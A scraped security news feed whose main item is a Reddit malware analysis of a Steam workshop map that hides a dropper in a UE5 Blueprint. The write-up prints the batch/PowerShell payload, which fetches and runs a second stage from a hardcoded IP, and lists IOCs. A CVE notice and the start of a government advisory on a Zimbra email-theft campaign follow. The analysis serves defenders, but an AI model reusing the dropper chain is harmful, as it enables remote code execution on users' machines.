Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs.

The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.]]></content:encoded>
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<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[CVE-2026-15687 | Kubernetes Java Client up to 25.0.0/26.0.0 Copy Directory copyDirectoryFromPod enableTarCompressing path traversal (EUVD-2026-48363)]]></title>
<description><![CDATA[A vulnerability was found in Kubernetes Java Client up to 25.0.0/26.0.0. It has been declared as critical. This affects the function copyDirectoryFromPod of the component Copy Directory. Executing a manipulation of the argument enableTarCompressing can lead to path traversal.

This vulnerability ...]]></description>
<link>https://tsecurity.de/de/3690234/sicherheitsluecken/cve-2026-15687-kubernetes-java-client-up-to-25002600-copy-directory-copydirectoryfrompod-enabletarcompressing-path-traversal-euvd-2026-48363/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690234/sicherheitsluecken/cve-2026-15687-kubernetes-java-client-up-to-25002600-copy-directory-copydirectoryfrompod-enabletarcompressing-path-traversal-euvd-2026-48363/</guid>
<pubDate>Thu, 23 Jul 2026 23:08:42 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/kubernetes:java_client">Kubernetes Java Client up to 25.0.0/26.0.0</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. This affects the function <code>copyDirectoryFromPod</code> of the component <em>Copy Directory</em>. Executing a manipulation of the argument <em>enableTarCompressing</em> can lead to path traversal.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-15687">CVE-2026-15687</a>. It is possible to launch the attack remotely. No exploit is available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
